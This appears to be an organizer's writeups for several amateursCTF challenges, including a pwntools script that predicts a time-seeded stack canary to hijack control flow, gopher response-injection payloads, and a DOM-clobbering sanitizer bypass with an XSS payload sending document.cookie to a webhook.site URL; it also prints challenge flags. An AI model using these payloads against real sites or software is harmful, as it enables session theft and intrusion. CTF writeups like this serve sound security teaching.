Hi! I am one of the orginizers for amateursCTF. I wrote 7 challenges, and here are my offical writeups for each challenge
Waiting an eternity was a beginner challenge loosly inspired by Antimatter Dimensions.
The first part asks you to "wait an eternity." There isn't much to do and if you check the network tab, you can see that there is a Refresh
header that points to /secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a
.
The secret code is just there to prevent dirbusting but otherwise this second place asks you wait wait another eternity.
If we do the same thing and look at headers we can see that the server sets a cookie, if we reload, we see that it tells us how much time has passed since
We take this as a hint that we should edit our cookies so we have waited more time. Now the actual time required to wait is 1e308 seconds, but any value that makes you wait for longer than that should work. For example, here I use
-inf
and get the flag.
FLAG:
amateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}
rntk was a pwn challenge about an insecure stack canary. The idea is that you can figure out what seeded the random, so you can guess what the canary is. unvariant wrote a solve script for this challenge, what follows is his solve script
from pwn import *
from ctypes import CDLL
from ctypes.util import find_library
file = ELF("../chal/chal")
libc = CDLL(find_library("c"))
if args.HOST and args.PORT:
p = remote(args.HOST, args.PORT)
else:
p = process("../chal/chal", cwd="../chal")
time = libc.time(0)
# generate 10 numbers to compare
numbers = []
for i in range(10):
p.sendlineafter(b"Exit\n", b"1")
numbers.append(int(p.readline()))
# guess the random seed and get the canary
for i in range(time-4096, time+4096):
libc.srand(i)
canary = libc.rand()
tmp = []
for _ in range(10):
tmp.append(libc.rand())
guess = libc.rand()
if tmp == numbers:
break
print(f"[+] canary: {canary:x}")
attack = str(guess).encode().ljust(0x2c, b"\x00")
attack += p32(canary)
attack += p64(0)
attack += p64(file.symbols["win"])
p.sendline(b"2")
p.sendline(attack)
p.interactive()
go-gopher was a gopher challenge. The /submit
path accepted user input through the url it before putting it into the response, because of this we could encode new lines and tabs to build a response in such a way that the bot would click on our link. Our payload without urlencoding it looks like this.
error.host 1
iPadding error.host 1
0rekt URL:https://webhook.site/e6219bca-cb83-4013-9f59-54cd0ac80ec3 error.host 1
iPadding
When we do this, the server would return a response that looks like this.
iHello error.host 1
iPadding error.host 1
0rekt URL:https://webhook.site/e6219bca-cb83-4013-9f59-54cd0ac80ec3 error.host 1
iPadding error.host 1
iPlease send a post request containing your flag at the server down below. error.host 1
0Submit here! (gopher doesn't have forms D:) URL:http://amt.rs/gophers-catcher-not-in-scope error.host 1
.
The bot would then send a request at the second entry, so the flag is sent to the url and we get our flag. You would need to URL encode the url twice (once by gopher.Get
and the other by the gopher server itself)
There was an unintended in go-gopher, being that if you owned a domain you could create a subdomain at
amt.rs.yourdoman.tld
and bypass that check.
sanity was an pastebin xss challenge that involved bypassing a sanitizer. You could provide a title and a body, it would first sanitize the title, then sanitize the body after, but only if the debug.santize
was true.
The idea behind the challenge was using DOM clobbering to override window.debug.extension
with some JSON that does prototype injection. We can use the <a>
tag to do that. So for the title we use something like the following
<a id=debug><a id=debug name=extension href='data:;,%7B%22__proto__%22:%7B%22sanitize%22:0%7D%7D'>
<!-- {"__proto__":{"sanitize":0}} -->
When the program uses Object.assign
, it will set sanitize to 0, which is falsy, then for the body you can just pass in some simple xss payload to retrieve the flag.
<img src=x onerror='fetch("https://webhook.site/e6219bca-cb83-4013-9f59-54cd0ac80ec3/" + document.cookie)' />
FLAG: amateursCTF{s@nit1zer_ap1_pr3tty_go0d_but_not_p3rf3ct}
Originally this challenge used DOMPurify, but DOMPurify is immune to DOM clobbering, so the challenge was scrapped until I went through my 400 tabs (normal i swear) and found one talking about the new
Sanitzer
API, I then realized thatSanitizer
was not immune to DOM Clobbering so the challenge was saved!
legality was a pretty simple challenge.
As you can see, the software is licensed under AGPL which means that you are entitled to the source code. If you open the license file, you can see an email listed. You send them an email asking for source, extract the hardcoded password and get the flag.
meh ill explain this later
This challenge was, as the name implied, revenge for the unintended solution for go-gopher
, but it was also a little bit of revenge for cps getting the flag/solve script posted.
The code was changed to patch the unintended for go-gopher
, but also made sure that the domain of the thing it was requesting was amt.rs
.
The idea was to use cps
as a database so can use the intended payload for go-gopher
but point the url at cps
.
error.host 1
iPadding error.host 1
0rekt URL:https://cps.amt.rs/register.php error.host 1
iPadding
The bot will then return you a token that you can use to login to cps
with. When you login, you see that your password was amateursCTF{ye5._ h1s_1s_g0pher_h3ll}
. Many people thought this was the actual flag, or a character was missing so they added it in, but they never wondered why the flag had a space there anyways.
resp, err := http.Post(u.String(), "application/x-www-form-urlencoded", bytes.NewBuffer([]byte(fmt.Sprintf("username=%s&password=%s", randomString(20), flag))))
Because of x-ww-form-urlencoded
, +
was encoded into a space, so amateursCTF{ye5._+h1s_1s_g0pher_h3ll}
was the actual flag